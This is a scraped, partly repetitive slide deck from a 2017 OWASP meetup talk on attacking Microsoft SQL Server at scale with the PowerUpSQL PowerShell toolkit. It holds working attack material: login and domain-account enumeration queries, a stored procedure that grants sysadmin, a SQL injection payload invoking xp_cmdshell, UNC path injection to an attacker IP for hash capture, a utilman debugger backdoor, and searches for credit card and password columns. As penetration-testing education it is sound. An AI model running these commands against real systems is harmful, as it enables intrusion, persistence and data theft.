Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

trustworthy for OS command execution

Consbull Impersonation can be done via SQL injection

under specific conditionsbull Impersonation can be done via command

injection under specific conditions

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example CREATE PROCEDURE sp_sqli2

DbName varchar(max) ASBEGINDeclare query as varchar(max)SET query = lsquoSELECT name FROM mastersysdatabases WHERE name like + DbName+ OR name=tempdb EXECUTE(query)ENDGO

PURE EVIL

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

EXEC MASTERdbosp_sqli2 masterEXEC masterxp_cmdshell whoami--

httpsblognetspicomhacking-sql-server-stored-procedures-part-3-sqli-and-user-impersonation

Escalating Privileges ImpersonationSQL Injection Example

Escalating Privileges ImpersonationAutomatic Execution of Stored Procedure

bull Stored procedures ca be configured to execute when the SQL Server service restarts

Prosbull Marking a stored procedure to run when the SQL

Server service restarts has many use casesbull Only stored procedures in the master database

can be marked for auto execution

Consbull No granular control over what context the startup

command is executed inbull All stored procedures marked for auto execution

are executed as lsquosarsquo even if lsquosarsquo is disabledbull Any non sysadmin access to stored procedures

can lead to execution as lsquosarsquo

Escalating Privileges DEMO

DEMOInvoke-SQLAudit

Escalating Privileges Invoke-SQLPrivEsc

Whooray for Automation Demo

>

Escalating Privileges DEMO

DEMOInvoke-SQLEscalatePriv

Escalating Privileges Invoke-SQLPrivEsc

DEMO

>

EscalatingPrivileges

SysAdmin to Service Account

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

Executing OS Commands xp_cmdshell Custom Assemblies (net) httpsekirkitycomseeclrly-fileless-sql-server-clr-based-custom-stored-procedure-command-execution Custom Extended Stored Procedures (C++) Agent Jobs httpswwwoptivcomblogmssql-agent-jobs-for-command-execution

o ActiveX Vbscript Jscript and Othero CmdExeco PowerShello SSIS Package

Registry Autoruns File Autoruns

Escalating Privileges SysAdmin to Service AccountOS Command Execution = Service Account Impersonation

You donrsquot need to know the password crack a hash or PTH

Service Account Types Local User Local System Network Service Local managed service account Domain managed service account Domain User Domain Admin

Escalating Privileges SysAdmin to Service AccountBut wait therersquos morehellipRottenPotato DerbyCon 2016

bull We can now escalation from service account to LocalSystem

bull No patch that Irsquom aware of

bull Authors Chris Mallz (vvalien1) amp Steve Breen (breenmachine)

Blog

httpsfoxglovesecuritycom20160926rotten-potato-privilege-escalation-from-service-accounts-to-system

Code

httpsgithubcomfoxglovesecRottenPotato

Escalating Privileges Invoke-SQLOSCmdInvoke-SQLOSCMD can be used for basic command execution

PS Cgt$Accessible | Invoke-SQLOSCmd ndashVerbose ndashCommand ldquowhoamirdquo ndashThreads 10 ComputerName Instance CommandResults --------------------- ----------- -------------- SQLServer1 SQLServer1SQLEXPRESS nt servicemssql$sqlexpress SQLServer1 SQLServer1STANDARDDEV2014 nt authoritysystem SQLServer1 SQLServer1 DomainSQLSvc

EscalatingPrivileges

Shared Service Accounts

Escalating Privileges Shared Service AccountsWhy should I care about shared service accounts

1 SysAdmins can execute OS commands2 OS commands run as the SQL Server service account 3 Service accounts have sysadmin privileges by default4 Companies often use a single domain account to run hundreds of SQL Servers5 So if you get sysadmin on one server you have it on all of them

One account to rule them all

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging Shared MS SQL Server Service Accounts

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

LVA

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Execute Local Command via xp_cmdshell

2

Access to HVA with shared domain service account

Key

HVA = High Value Application

LVA = Low Value Application

Execute commands and gather data from other

database servers via osql

3

Leveraging Shared MS SQL Server Service Accounts

EscalatingPrivileges

Crawling SQL Server Links

Escalating Privileges Crawling SQL Server LinksWhatrsquos a SQL Server link

SQL Server links are basically persistent database connections for SQL Servers

Why should I care

Short answer = privilege escalation

Public role can use links to execute queries on remote servers (impersonation)

SELECT FROM OpenQuery([SQLSERVER2]rsquoSELECT Versionrsquo)

Stored procedures can be executed (xp_cmdshell)

Links can be crawled

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain EvilKey

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB1

LVA

Inte

rnet

DM

ZIn

tran

et

LRA HVA

LVA

ADS

Ports80 and 443

Ports1433 and 1434

HVA

PURE EVIL

Captain Evil

SQL Injection

1

Key

HVA = High Value Application

LVA = Low Value Application

Leveraging MS SQL Database links

DB Link with

Least Privileges

DB Link with

SA account

DB1

LVA

Execute SQL queries and local commands on

database servers via nested linked services

2

Escalating Privileges Crawling SQL Server Links

Penetration Test Stats

Database links exist (and can be crawled) in about 50 of environments wersquove seen

The max number of hops wersquove seen is 12

The max number of servers crawled is 226

Escalating Privileges Crawling Server Links

Old Script

Released 2012 httpswwwrapid7comdbmodulesexploitwindowsmssqlmssql_linkcrawler

New Functions

Author Antti Rantasaari httpsblognetspicomsql-server-link-crawling-powerupsql

Escalating Privileges Crawling Server LinksFunction Description

Get-SQLServerLink Get a list of SQL Server Link on the server

Get-SQLServerLinkCrawl Crawls linked servers and supports SQL query and OS command execution

Examples

Get-SQLServerLinkCrawl -verbose -instance 1029101SQLSERVER2008ldquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoselect from mastersysdatabasesrdquo

Get-SQLServerLinkCrawl -instance 1029101SQLSERVER2008 -Query ldquoexec masterxp_cmdshell lsquowhoamirsquordquo

Escalating Privileges Crawling Server Links

DEMO

Escalating Privileges Database Links

DEMO

>

Escalating Privileges Crawling Server Links

EscalatingPrivileges

UNC Path Injection

Escalating Privileges UNC Path Injection

UNC Path Injection Summary

UNC paths are used for accessing remote file servers like so 19216814file

Almost all procedures that accept a file path in SQL Server support UNC paths

UNC paths can be used to force the SQL Server service account to authenticate to an attacker

An attacker can then capture the NetNTLM password hash and crack or relay it

Relay becomes pretty easy when you know which SQL Servers are using shared accounts

Escalating Privileges UNC Path Injection

Escalating Privileges UNC Path Injection

The Issue

bull By DEFAULT the PUBLIC role can execute at least two procedures that accept a file path

xp_dirtree attackeripfilelsquoxp_fileexists attackeripfilelsquo

The Solution

bull EXECUTE rights on xp_dirtree and fileexists can be REVOKED for the Public role (but no one does that)

UNC Path Injection Cheat Sheetbull httpsgistgithubcomnullbind7dfca2a6309a4209b5aeef181b676c6e

Escalating Privileges UNC Path Injection

Another Issue

bull The Public role can perform UNC path injection into the BACKUP and RESTORE commands

BACKUP LOG [TESTING] TO DISK = attackeripfilelsquoRESTORE LOG [TESTING] FROM DISK = attackeripfile

Partial Solution

bull A patch was released for SQL Server versions 2012 through 2016

httpstechnetmicrosoftcomlibrarysecurityMS16-131

bull There is no fix for SQL Server 2000 to 2008

Escalating Privileges UNC Path Injection

So in summaryhellip

The PUBLIC role can access the SQL Server service account NetNTLM

password hash by default

Escalating Privileges UNC Path Injection

But who really hasPUBLIC role access

Oh yeah a ton of domain users

Escalating Privileges DEMO

DEMOGet-SQLServiceAccountPwHashes

hellipwhat Itrsquos self descriptive

Escalating Privileges UNC Path Injection

DEMO

>

EscalatingPrivileges

OS Admin to SysAdmin

Escalating Privileges OS Admin to SysAdminTwo things to knowhellip

1 Different SQL Server versions can be abused in different ways2 All SQL Server versions provide the service account with sysadmin privileges

Escalating Privileges OS Admin to SysAdmin

Approach 2000 2005 2008 2012 2014 2016

LSA Secrets x x x x x x

Local Administrator x x

LocalSystem x x x

Process Migration x x x x x x

Token Stealing x x x x x X

Single User Mode x x x x x

Below are some options for leveraging that knowledge

Escalating Privileges OS Admin to SysAdminHere are some tool options

Approach Common Tools

Access as Local Administrator Management Studio sqlcmd and other native SQL client tools

Access as LocalSystem Psexec accessibility options debugger with native SQL client tools

Recover SQL Server service account password from LSA Secrets

Mimikatz Metasploit lsadump

Inject shellcode or DLL into the SQL Server service process

Metasploit Empire Python Powershell C C++ (LoadLibraryCreateRemoteThread and similar functions)

Steal Authentication Token From SQL Server service process

Metasploit Incognito Invoke-TokenManipulation

Single User Mode DBATools

Common Post Exploitation Activities

Post Exploitation OverviewCommon Post Exploitation Activities

1 Establish Persistencebull SQL Server Layer startup procedures agent jobs triggers modified codebull OS Layer Registry amp file auto runs tasks services etc

2 Identify Sensitive Databull Target large databasesbull Locate transparently encrypted databasesbull Search columns based on keywords and sample databull Use regular expressions and the Luhn formula against data samples

3 Exfiltrate Sensitive Databull All standard methods Copy database TCP ports UDP ports DNS

tunneling ICMP tunneling email HTTP shares links etc (No exfil in PowerUpSQL yet)

Post Exploitation PersistenceTask Command Example

Registry Autorun Persistence

Get-SQLPersistRegRun -Verbose -Name EvilSauce -Command EvilBoxEvilSandwichexe -Instance SQLServer1STANDARDDEV2014

Debugger Backdoor Persistence

Get-SQLPersistRegDebugger -Verbose -FileName utilmanexe -Command cwindowssystem32cmdexe -Instance SQLServer1STANDARDDEV2014

Post Exploitation Persistence

Post Exploitation Finding Sensitive DataTask Command Example

Locate Encrypted Databases

Get-SQLInstanceDomain -Verbose |Get-SQLDatabaseThreaded ndashVerbose ndashThreads 10 -NoDefaults |Where-Object $_is_encrypted ndasheq ldquoTRUErdquo

Locate and Sample Sensitive Columnsand Export to CSV

Get-SQLInstanceDomain -Verbose | Get-SQLColumnSampleDataThreaded ndashVerbose ndashThreads 10 ndashKeyword ldquocreditssnpasswordrdquo ndashSampleSize 2 ndashValidateCC ndashNoDefaults |Export-CSV ndashNoTypeInformation ctempdatasamplecsv

Post Exploitation Finding Sensitive Data

DEMO

Post Exploitation Finding Sensitive Data

DEMO

>

GeneralRecommendations

General Recommendations1 Enforce least privilege everywhere

2 Disable dangerous default stored procedures

3 Install security patches

4 Audit and fix insecure configurations

5 Use policy based management for standardizing configurations

6 Enable auditing at the server and database levels and monitor for potentially malicious activity

PowerUpSQL Overview Thanks

Individual Third Party Code Direct Contributors

Boe Prox Runspace blogs

Warren F ( RamblingCookieMonster) Invoke-Parallel function

Oyvind Kallstad Test-IsLuhnValid function

Kevin Robertson Invoke-Inveigh

Joe Bialek Invoke-TokenManipulation

Antti Rantasaari Eric Gruber and Alexander Leary leoloobeek and ktaranov

Contributions and QA

Khai Tran Design advice

NetSPI assessment team and dev team Design advice

Speaker Information Questions

Name Scott Sutherland

Job Network amp Application Pentester NetSPI

Twitter _nullbind

Slides httpslidesharenetnullbindhttpslidesharenetnetspi

Blogs httpsblognetspicomauthorscott-sutherland

Code httpsgithubcomnetspiPowerUpSQLhttpsgithubcomnullbind

  • Hacking SQL Server on Scale with PowerShell
  • Speaker Information
  • Presentation Overview
  • Why SQL Server
  • Why PowerShell
  • Slide 6
  • PowerUpSQL Overview Project Goals
  • PowerUpSQL Overview Functions
  • PowerUpSQL Overview Where can I get it
  • PowerUpSQL Overview How do I install it
  • Slide 11
  • SQL Server Basics
  • SQL Server Basics Account Types
  • SQL Server Basics Common Roles
  • Slide 15
  • Find SQL Servers Techniques
  • Find SQL Servers PowerUpSQL
  • Slide 18
  • Testing Login Access Techniques
  • Testing Login Access PowerUpSQL CMDs
  • Testing Login Access PowerUpSQL CMDs (2)
  • Testing Login Access Login CMD Examples
  • Testing Login Access Reusing Result Lists
  • Testing Login Access Domain User Access
  • Testing Login Access Demo
  • Escalating Privileges Domain User
  • Escalating Privileges Domain User (2)
  • Escalating Privileges Domain User (3)
  • Slide 29
  • Escalating Privileges Weak Passwords
  • Escalating Privileges Weak Passwords (2)
  • Escalating Privileges Weak Passwords (3)
  • Escalating Privileges Weak Passwords (4)
  • Escalating Privileges Weak Passwords (5)
  • Escalating Privileges Weak Passwords (6)
  • Escalating Privileges Weak Passwords (7)
  • Escalating Privileges Weak Passwords (8)
  • Escalating Privileges Weak Passwords (9)
  • Escalating Privileges Weak Passwords (10)
  • Escalating Privileges Weak Passwords (11)
  • Escalating Privileges Weak Passwords (12)
  • Escalating Privileges Weak Passwords (13)
  • Escalating Privileges DEMO
  • Slide 44
  • Escalating Privileges Impersonation
  • Escalating Privileges Impersonation (2)
  • Escalating Privileges Impersonation (3)
  • Escalating Privileges Impersonation (4)
  • Escalating Privileges Impersonation (5)
  • Escalating Privileges Impersonation (6)
  • Escalating Privileges Impersonation (7)
  • Escalating Privileges Impersonation (8)
  • Escalating Privileges Impersonation (9)
  • Escalating Privileges Impersonation (10)
  • Escalating Privileges Impersonation (11)
  • Escalating Privileges Impersonation (12)
  • Escalating Privileges Impersonation (13)
  • Escalating Privileges DEMO (2)
  • Escalating Privileges Invoke-SQLPrivEsc
  • Escalating Privileges DEMO (3)
  • Escalating Privileges Invoke-SQLPrivEsc (2)
  • Slide 62
  • Escalating Privileges SysAdmin to Service Account
  • Escalating Privileges SysAdmin to Service Account (2)
  • Escalating Privileges SysAdmin to Service Account (3)
  • Escalating Privileges Invoke-SQLOSCmd
  • Slide 67
  • Escalating Privileges Shared Service Accounts
  • Slide 69
  • Slide 70
  • Slide 71
  • Slide 72
  • Slide 73
  • Escalating Privileges Crawling SQL Server Links
  • Slide 75
  • Slide 76
  • Slide 77
  • Slide 78
  • Escalating Privileges Crawling SQL Server Links (2)
  • Escalating Privileges Crawling Server Links
  • Escalating Privileges Crawling Server Links (2)
  • Escalating Privileges Crawling Server Links (3)
  • Escalating Privileges Database Links
  • Escalating Privileges Crawling Server Links (4)
  • Slide 85
  • Escalating Privileges UNC Path Injection
  • Escalating Privileges UNC Path Injection (2)
  • Escalating Privileges UNC Path Injection (3)
  • Escalating Privileges UNC Path Injection (4)
  • Escalating Privileges UNC Path Injection (5)
  • Escalating Privileges UNC Path Injection (6)
  • Escalating Privileges DEMO (4)
  • Escalating Privileges UNC Path Injection (7)
  • Slide 94
  • Escalating Privileges OS Admin to SysAdmin
  • Escalating Privileges OS Admin to SysAdmin (2)
  • Escalating Privileges OS Admin to SysAdmin (3)
  • Slide 98
  • Post Exploitation Overview
  • Post Exploitation Persistence
  • Post Exploitation Persistence (2)
  • Post Exploitation Finding Sensitive Data
  • Post Exploitation Finding Sensitive Data (2)
  • Post Exploitation Finding Sensitive Data (3)
  • Slide 105
  • General Recommendations
  • PowerUpSQL Overview Thanks
  • Speaker Information Questions
Page 19: 2017 OWASP SanFran March Meetup - Hacking SQL Server on Scale with PowerShell

Testing Login Access TechniquesWhat credentials can I use to log into discovered SQL Servers

Attacker Perspective Attack Technique

Unauthenticated Dictionary attacks using common user names and passwords

Unauthenticated Default passwords based on the SQL Server instance names

Local Windows or ADS Domain Account

Attempt to login using the current account

Testing Login Access PowerUpSQL CMDsWhat PowerUpSQL functions can I use to test for successful logins

Attack Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Get-SQLServerLoginDefaultPw

Get-SQLInstanceDomain | Get-SQLServerLoginDefaultPw -Verbose

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Testing Login Access PowerUpSQL CMDs

Testing Login Access Login CMD Examples

Attacker Perspective

Command Example

Unauthenticated Get-SQLInstanceUDPScan | Get-SQLConnectionTestThreaded -Verbose -Threads 15 -Username testuser -Password testpass

Local User Get-SQLInstanceLocal | Get-SQLConnectionTestThreaded -Verbose

Domain User Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

AlternativeDomain User

runas noprofile netonly userdomainuser PowerShellexe

Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15

Testing Login Access Reusing Result Lists

Process Command Example

Enumerate Accessible Servers

$Accessible = Get-SQLInstanceDomain | Get-SQLConnectionTestThreaded -Verbose -Threads 15 | Where-Object $_Status ndashlike ldquoAccessiblerdquo

Get server information $Acessible | Get-SQLServerInfo -Verbose

Get database list $Acessible | Get-SQLDatabase -Verbose

Perform audit $Acessible | Invoke-SQLAudit -Verbose

Do I have to rerun instance discovery every time I want to run a command No

Testing Login Access Domain User Access

DEMO

Testing Login Access Demo

DEMO

>

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

Escalating Privileges Domain UserWhy can Domain Users login into so many SQL Servers

Admins give them access

Privilege inheritance issue on domain systems = Public role access

SQL Server Express is commonly vulnerable

EscalatingPrivileges

SQL Login to SysAdmin

Escalating Privileges Weak PasswordsDidnrsquot we just cover this Yes but therersquos morehellip

Technique PowerUpSQL Function

Dictionary Attack Invoke-SQLAuditWeakLoginPw

Default Password Test Invoke-SQLAuditDefaultLoginPw

Local Windows or ADS Domain Account

Get-SQLConnectionTestThreaded

Escalating Privileges Weak Passwordshellipwe can also enumerate SQL Server logins and Domain Accounts

Technique PowerUpSQL Function

Blind Login Enumeration+

Dictionary Attack =

Super Cool

Invoke-SQLAuditWeakLoginPw

bull Enumerate all SQL Server logins with the Public role

bull Enumerate all domain accounts with the Public role

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

Escalating Privileges Weak PasswordsEnumerating SQL Logins

1 Attempt to list all SQL Server logins and fail

2 Get principal id for the sa account with ldquosuser_idrdquo

3 Use ldquosuser_namerdquo to get SQL logins using just principal ID

4 Increment number and repeat

select n [id] SUSER_NAME(n) [user_name]from ( select top 10000 row_number() over(order by t1number) as Nfrom masterspt_values t1 cross join masterspt_values t2) awhere SUSER_NAME(n) is not null

Code gifted from mobileckSource httpsgistgithubcomConstantineKc6de5d398ec43bab1a29ef07e8c21ec7

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

Domain of SQL Server

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

Full RID of Domain Admins

group

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID RID = 0x0105000000000005150000009CC30DD479441EDEB31027D000020000 SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges Weak PasswordsEnumerating Domain Users

1 Get the domain

2 GID RID of default group

3 Grab the first 48 Bytes of the full RID

4 Create new RID with by appending a hex number value and the SID

5 Use ldquosuser_namerdquo function to get domain object name

6 Increment and repeat

1 Start with number 5002 Convert to hex F4013 Pad with 0 to 8 bytes F40100004 Concatenate the SID and the new RID

SID = 0x0105000000000005150000009CC30DD479441EDEB31027D0 RID = 0x0105000000000005150000009CC30DD479441EDEB31027D0F4010000

Escalating Privileges DEMO

DEMOGet-SQLFuzzServerLogin

Invoke-SQLAuditWeakLoginPw

Get-SQLFuzzDomainAccount

>

Escalating Privileges Impersonation

1 Impersonate Privilege

bull Server EXECUTE AS LOGIN

bull Database EXECUTE AS USER

2 Stored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER

bull Signed with cert login

3 Automatic Execution of Stored Procedures

4 Agent Jobs

bull User Reader and Operator roles

5 xp_cmdshell proxy acount

6 Create Databse Link to File or Server

7 Import Install Custom Assemblies

8 Ad-Hoc Queries

9 Shared Service Accounts

10 Database Links

11 UNC Path Injection

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Prosbull Execute queriescommands in another user

context

Consbull Commands and queries are not limited in any waybull Requires database to be configured as trustworthy

for OS command execution

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationImpersonate Privilege

bull Can be used at server layer

o EXECUTE AS LOGIN

bull Can be used at database layer

o EXECUTE AS USER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

Prosbull Can execute queriescommands in another user contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATE

Consbull No granular control over the database ownerrsquos

privilegesbull DB_OWNER role can EXECUTE AS OWNER of the DB

which is often a sysadminbull Requires database to be configured as trustworthy for

OS command executionbull Impersonation can be done via SQL injection under

specific conditionsbull Impersonation can be done via command injection

under specific conditions

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull EXECUTE AS OWNER can be used to execute a stored procedure as another login

bull DB_OWNER role can impersonate the actual database owner

USE MyAppDbGOCREATE PROCEDURE sp_escalate_meWITH EXECUTE AS OWNERASEXEC sp_addsrvrolemember MyAppUsersysadminGO

SYSADMIN is often the

OWNER

Escalating Privileges ImpersonationStored Procedure and Trigger Creation Injection Issues

bull Use signed Procedures

o Create stored procedure

o Create a database master key

o Create a certificate

o Create a login from the certificate

o Configure login privileges

o Sign stored procedure with certifiate

o GRANT EXECUTE to User

Prosbull Can execute queriescommands in another user

contextbull Limit commands and queries bull Donrsquot have to grant IMPERSONATEbull Granular control over permissionsbull Database does NOT have to be configured as

